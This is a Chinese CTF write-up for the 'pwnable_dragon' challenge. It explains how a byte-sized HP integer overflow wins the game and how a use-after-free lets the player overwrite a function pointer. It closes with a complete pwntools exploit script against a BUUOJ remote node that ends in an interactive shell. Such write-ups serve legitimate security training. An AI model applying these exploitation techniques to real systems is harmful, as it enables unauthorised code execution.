pwnable_dragon(整数溢出+UAF)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,游戏结束后释放掉了ptr
也就是释放掉了v5,而当我们打赢游戏的时候,又malloc(0x10)并输入,然后又调用了v5里面的函数指针,由于v5之前free掉了,所以这里malloc(0x10)并输入,控制的就是v5指向的那块内存,将里面指针指向后面函数即可。
现在是如何才能赢得游戏,观察龙的血量,是一个byte
而赢得游戏的条件是龙的血量小于等于0
Byte的话超过127,就小于等于0了,因此,我们让龙的血量不断增加,最终溢出即可赢得游戏。第一次,我们故意输掉游戏,然后来到第二次,龙的血量初始化为80,也就是0x50,这样我们只需让龙的血量增加0x30即可轻松赢得游戏。
#coding:utf8
from pwn import *
#sh = process('./pwnable_dragon')
sh = remote('node3.buuoj.cn',29862)
def win():
#第一次输掉
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(2):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')
#第二次,dragon的血为80,我们让其增加溢出127后即可赢
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(4):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')
win()
sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))
sh.interactive()